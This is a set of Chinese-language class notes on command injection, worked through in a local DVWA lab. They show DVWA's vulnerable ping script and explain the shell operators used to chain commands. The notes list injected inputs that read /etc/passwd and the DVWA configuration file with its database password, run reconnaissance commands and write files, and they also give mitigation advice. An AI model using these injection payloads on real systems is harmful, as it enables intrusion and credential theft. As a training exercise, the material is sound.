1001筆記：

1. Command Injection（命令注入）

→ 攻擊者藉由在使用者輸入（或其他外部資料）中插入惡意字串，使應用程式會誤將不受信任的內容當作指令去執行，讓電腦做出像讀取檔案、刪除資料或改變系統設定等

常用系統指令

Linux 常用指令

指令	功能說明
`whoami`	查詢當前使用者
`ls`	列出目錄檔案
`cat`	查看檔案內容
`rm`	刪除檔案或目錄
`uname -a`	查詢作業系統版本

Windows 常用指令

指令	功能說明
`whoami`	查詢當前使用者
`dir`	列出目錄檔案
`type`	查看檔案內容
`del`	刪除檔案或目錄
`ipconfig`	查詢網路組態

```
C:\>whoami
laptop-eoepn42k\user
```

→ 查詢當前使用者

```
PS C:\Users\user> docker exec -it 6b053c004f8ff5f5cf9e3119c6112cacf6b3a0af111095cb771e048c330df9a0 /bin/bash
root@6b053c004f8f:/var/www/html# cd vulnerabilities/
root@6b053c004f8f:/var/www/html/vulnerabilities# ls
api         captcha     csrf  help.css    open_redirect  upload            view_source_all.php  xss_r
authbypass  cryptography  exec  help.js     sqli           view_help.php     weak_id              xss_s
brute       csp         fi    javascript  sqli_blind     view_source.php   xss_d
root@6b053c004f8f:/var/www/html/vulnerabilities# cd exec/
root@6b053c004f8f:/var/www/html/vulnerabilities/exec# ls
HELLO  cd  help  index.php  ls.txt  source  vulnerabilities#
root@6b053c004f8f:/var/www/html/vulnerabilities/exec# touch hello.txt
root@6b053c004f8f:/var/www/html/vulnerabilities/exec# ls
HELLO  cd  hello.txt  help  index.php  ls.txt  source  vulnerabilities#
root@6b053c004f8f:/var/www/html/vulnerabilities/exec# cd source/
root@6b053c004f8f:/var/www/html/vulnerabilities/exec/source# ls
high.php  impossible.php  low.php  medium.php
root@6b053c004f8f:/var/www/html/vulnerabilities/exec/source# cat low.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
}

?>
```

→ 啟動互動式終端 → 某個容器的 Shell

→ 不管現在在哪個目錄，回到 vulnerabilities 的家裡

→ 列出目錄檔案與資料夾

→ 進入 exec 目錄（顯示家）

→ 建立一個空檔 hello.txt，如果已存在則會更新檔案的時間戳

→ 進入 source 目錄

→ 查看檔案 low.php 的內容

⚠ DVWA的網頁檔案預設存放在容器的 /var/www/html 目錄下

⚠ 命令注入（Command Injection）的每次檔案位於：/var/www/html/vulnerabilities/exec/

low.php 的內容

ex. 網站查詢IP位址

→ 假設有一個網站，讓使用者輸入一個IP位址，然後網站會幫忙檢查這個IP有沒有回應

程式可能這樣寫（簡化示例）：

```php
<?php
$ip = $_GET["ip"];
system("ping -c 1 " . $ip);
?>
```

正常情況

如果使用者輸入：

```
8.8.8.8
```

程式就會執行：

```
ping -c 1 8.8.8.8
```

結果會顯示 Google DNS 的回應。

攻擊者的惡意輸入

假如有人輸入：

```
8.8.8.8; ls
```

那程式實際執行的是：

```
ping -c 1 8.8.8.8; ls
```

意思是： 先對 `8.8.8.8` 做 ping，然後再執行 `ls`，把伺服器裡的檔案清單也列出來！

如果換成其他惡意的指令（例如 `rm -rf`），後果將更加嚴重。

Vulnerability: Command Injection

Ping a device

Enter an IP address: 8.8.8.8 Submit

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=63 time=12.7 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=63 time=14.2 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=63 time=27.0 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=63 time=13.3 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 12.658/16.773/26.973/5.912 ms
```

Vulnerability: Command Injection

Ping a device

Enter an IP address: 8.8.8.8;ls Submit

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=63 time=15.7 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=63 time=23.1 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=63 time=18.0 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=63 time=16.7 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 15.676/18.362/23.100/2.854 ms
HELLO
cd
hello.txt
help
index.php
ls.txt
source
vulnerabilities#
```

△ 風險說明

- 攻擊者可以執行任意系統指令
- 可能導致資料洩露、檔案刪除、系統癱瘓
- 可能取得伺服器控制權

△ 如何防止

- 嚴格驗証和過濾使用者輸入
- 使用白名單的方式限制輸入格式
- 避免直接將使用者輸入傳遞給系統指令
- 使用安全的API替代系統指令執行

1001筆記：

2. 如何查看DVWA原始碼檔案

/var/www/html/vulnerabilities/exec

該目錄包含的檔案：

- `index.php` - 主要的執行頁面
- `source/` - 包含不同安全等級的原始碼
  - `low.php` - Low 等級的程式碼
  - `medium.php` - Medium 等級的程式碼
  - `high.php` - High 等級的程式碼
  - `impossible.php` - Impossible 等級的程式碼（安全版本）

查看原始碼範例

```
# 進入 Command Injection 目錄
cd /var/www/html/vulnerabilities/exec

# 列出目錄內容
ls -la

# 查看 Low 等級的原始碼
cat source/low.php

# 查看 Impossible 等級的原始碼（安全版本）
cat source/impossible.php
```

實用技巧

```
# 查看整個 vulnerabilities 目錄結構
ls -R /var/www/html/vulnerabilities/

# 搜尋特定關鍵字（例如：查找所有使用 system() 函數的地方）
grep -r "system(" /var/www/html/vulnerabilities/

# 比較不同等級的程式碼差異
diff source/low.php source/impossible.php
```

透過查看不同安全等級的原始碼，可以學習：

- 🔴 **Low**：完全沒有防護的脆弱程式碼
- 🟡 **Medium**：有些防護但不完善
- 🟠 **High**：更複雜的防護機制
- 🟢 **Impossible**：正確的安全實作方式

3. 指令拼接技巧（Command Chaining）

⇒在 Command Chaining 攻擊中，攻擊者會使用特殊符號來拼接多個指令，讓系統執行額外的惡意指令。

常見的指令拼接符號

1. 分號 ;（順序執行）

無論前一個指令是否成功，都會執行下一個指令。

```
# 範例
command1 ; command2

# 實際應用
8.8.8.8 ; whoami
```

執行結果：

- 先執行 `ping -c 1 8.8.8.8`
- 不管 ping 是否成功，接著執行 `whoami`

⇒2. 雙 AND &&（條件執行 - 成功才執行）

只有當前一個指令**成功**時，才執行下一個指令。

```
# 範例
command1 && command2

# 實際應用
8.8.8.8 && whoami
```

執行結果：

- 先執行 `ping -c 1 8.8.8.8`
- **只有當** ping 成功，才執行 `whoami`

3. 雙 OR ||（條件執行 - 失敗才執行）

只有當前一個指令**失敗**時，才執行下一個指令。

```
# 範例
command1 || command2

# 實際應用
999.999.999.999 || whoami
```

執行結果：

- 先執行 `ping -c 1 999.999.999.999`（這會失敗）
- **因為** ping 失敗，所以執行 `whoami`

4. 管線符號 |（管道傳遞）

將前一個指令的輸出，作為下一個指令的輸入。

```
# 範例
command1 | command2

# 實際應用
8.8.8.8 | cat /etc/passwd
```

執行結果：

- ping 的輸出會被傳遞給 `cat /etc/passwd`
- 但實際上會顯示 `/etc/passwd` 的內容

5. 背景執行 &

將指令放到背景執行，不會等待該指令完成。

```
# 範例
command1 & command2

# 實際應用
8.8.8.8 & whoami
```

執行結果：

- ping 在背景執行
- 同時立即執行 `whoami`

6. 換行符號 `%0a` 或 `\n`（URL 編碼）

在某些情況下，可以使用換行符號來分隔指令。

```
# URL 編碼方式
8.8.8.8%0awhoami

# 實際執行
ping -c 1 8.8.8.8
whoami
```

Vulnerability: Command Injection

Ping a device

Enter an IP address: 8.8.8.8 ; whoami Submit

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=63 time=13.4 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=63 time=14.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=63 time=11.3 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=63 time=11.4 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 11.260/12.612/14.395/1.340 ms
www-data
```

```
root@6b053c004f8f:/var/www/html/vulnerabilities/exec/source# cd ..
bash: cd: too many arguments
root@6b053c004f8f:/var/www/html/vulnerabilities/exec/source# ls -R /var/www/html/vulnerabilities/
/var/www/html/vulnerabilities/:
api         captcha       csrf  help.css    open_redirect  upload          view_source_all.php  xss_r
authbypass  cryptography  exec  help.js     sqli           view_help.php   weak_id              xss_s
brute       csp           fi    javascript  sqli_blind     view_source.php  xss_d

/var/www/html/vulnerabilities/api:
README.md      composer.json  gen_openapi.php  index.php    public  src
bootstrap.php  composer.lock  help             openapi.yml  source  vendor

/var/www/html/vulnerabilities/api/help:
help.php

/var/www/html/vulnerabilities/api/public:
```

⇒切到上一層目錄

⇒查看整個 vulnerabilities 的結構

Vulnerability: Command Injection

Ping a device

Enter an IP address: 8.8.8.8 ; cat hello.txt Submit

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=63 time=12.7 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=63 time=13.8 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=63 time=14.2 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=63 time=14.6 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 12.726/13.820/14.560/0.681 ms
new words in here
```

```
root@6b053c004f8f:/var/www/html/vulnerabilities/exec# echo 'new words in here' >> hello.txt
root@6b053c004f8f:/var/www/html/vulnerabilities/exec# ls
HELLO  cd  hello.txt  help  index.php  ls.txt  source  vulnerabilities#
root@6b053c004f8f:/var/www/html/vulnerabilities/exec# cat hello.txt
new words in here
```

⇒新增內容到 hello.txt

```
PS C:\Users\user> wget https://www.im.tku.edu.tw/wp-content/uploads/2025/06/S__3465231_0-768x768.png

StatusCode        : 200
StatusDescription : OK
Content           : {137, 80, 78, 71...}
RawContent        : HTTP/1.1 200 OK
                    Connection: keep-alive
                    Accept-Ranges: bytes
                    Content-Length: 35814
                    Content-Type: image/png
                    Date: Mon, 06 Oct 2025 08:59:06 GMT
                    ETag: "6856558a-8be6"
                    Last-Modified: Sat, 21 Jun 20...
Headers           : {[Connection, keep-alive], [Accept-Ranges, bytes], [Content-Length, 35814], [Content-Type, image/png]...}
RawContentLength  : 35814
```

⇒執行下載（HTTP GET）某張PNG圖片的請求

1001 筆記：

3. 指令拼接技巧（Command Chaining）

#實戰範例對照表

輸入內容	實際執行的指令	說明
`8.8.8.8; ls`	`ping -c 1 8.8.8.8; ls`	先 ping，然後列出檔案
`8.8.8.8 && cat /etc/passwd`	`ping -c 1 8.8.8.8 && cat /etc/passwd`	ping 成功才讀取密碼檔
`8.8.8.8 | whoami`	`ping -c 1 8.8.8.8 | whoami`	顯示當前使用者
`8.8.8.8; cat ../../config/config.inc.php`	`ping -c 1 8.8.8.8; cat ../../config/config.inc.php`	讀取 DVWA 設定檔
`127.0.0.1 && uname -a`	`ping -c 1 127.0.0.1 && uname -a`	顯示系統資訊

#進階攻擊範例

讀取敏感檔案

```
# 讀取 Linux 密碼檔
8.8.8.8; cat /etc/passwd

# 讀取 DVWA 設定檔（包含資料庫密碼）
8.8.8.8; cat /var/www/html/config/config.inc.php

# 讀取網頁原始碼
8.8.8.8; cat /var/www/html/vulnerabilities/exec/source/low.php
```

系統偵察

```
# 查看當前使用者
8.8.8.8; whoami

# 查看系統資訊
8.8.8.8; uname -a

# 查看網路設定
8.8.8.8; ifconfig

# 查看當前目錄
8.8.8.8; pwd

# 查看環境變數
8.8.8.8; env
```

檔案操作

```
# 建立檔案
8.8.8.8; touch /tmp/hacked.txt

# 寫入內容
8.8.8.8; echo "Hacked!" > /tmp/hacked.txt

# 複製檔案
8.8.8.8; cp /etc/passwd /tmp/passwd.bak
```

1001 作業：

```
root@6b053c004f8f:/var/www/html/vulnerabilities/exec# cat /var/www/html/vulnerabilities/exec/source/low.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
}

?>
```

△ 解釋為何會有 Command Injection 命令注入：

⇒ 命令注入通常發生在程式把未過濾或未妥善處理的使用者輸入直接拼接進會被 Shell 執行的函式或指令呼叫中。